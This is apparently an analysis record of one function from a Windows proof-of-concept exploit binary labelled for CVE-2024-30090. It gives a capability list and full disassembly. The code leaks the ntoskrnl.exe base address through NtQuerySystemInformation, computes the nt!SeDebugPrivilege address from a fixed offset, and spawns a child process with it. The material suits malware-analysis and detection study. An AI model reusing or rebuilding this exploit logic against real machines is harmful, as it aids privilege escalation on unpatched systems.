Function at 0x140001110
Capabilities:
Create process on windows
Get system information on windows
Make suspicious ntquerysysteminformation call
Terminate process

Disassembly:
push r14
sub rsp, 0x2f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
xor edx, edx
lea rcx, [rsp + 0xe0]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, str.CVE_2024_30090_PoC___Parent_n
movups xmmword [rsp + 0x74], xmm0
mov dword [rsp + 0xd4], eax
movups xmmword [rsp + 0x84], xmm0
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x58], xmm0
call fcn.140001080
xor r14d, r14d
lea r9, [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x50], r14d
xor edx, edx
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000136c
mov ecx, dword [rsp + 0x50]
mov qword [rsp + 0x318], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140001379
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
js 0x140001386
mov qword [rsp + 0x300], rbx
mov ebx, r14d
mov qword [rsp + 0x308], rbp
mov qword [rsp + 0x310], rsi
mov esi, dword [rdi]
test esi, esi
je 0x140001393
mov eax, ebx
lea rcx, [rdi + 0x30]
imul rbp, rax, 0x128
lea rdx, str.ntoskrnl.exe
add rcx, rbp
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001250
inc ebx
cmp ebx, esi
jae 0x140001393
jmp 0x140001222
mov rbx, qword [rbp + rdi + 0x18]
lea rcx, str.___Found_kernel_base_at_0x_p_n
mov rdx, rbx
call fcn.140001080
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add rbx, 0xd53a18
lea rcx, str.nt_SeDebugPrivilege_VA___0x_llx_n
mov rdx, rbx
call fcn.140001080
lea r9, str.Child.exe_0x_llx
mov qword [rsp + 0x20], rbx
mov edx, 0x100
lea rcx, [rsp + 0xe0]
mov r8, 0xffffffffffffffff
call fcn.140001010
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000130a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__CreateProcess_LastError_0x_x_n
call fcn.140001080
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x58]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x310]
xor eax, eax
mov rbp, qword [rsp + 0x308]
mov rbx, qword [rsp + 0x300]
mov rdi, qword [rsp + 0x318]
mov rcx, qword [rsp + 0x2e0]
xor rcx, rsp
call fcn.1400013b0
add rsp, 0x2f0
pop r14
ret
lea rcx, str.Cannot_get_length_of_system_module_list_array
call fcn.1400010e0
int3
lea rcx, str.Cannot_allocate_memory_for_system_module_list
call fcn.1400010e0
int3
lea rcx, str.Cannot_get_system_module_list
call fcn.1400010e0
int3
lea rcx, str.Cannot_find_ntoskrnl.exe_in_system_module_list
call fcn.1400010e0
int3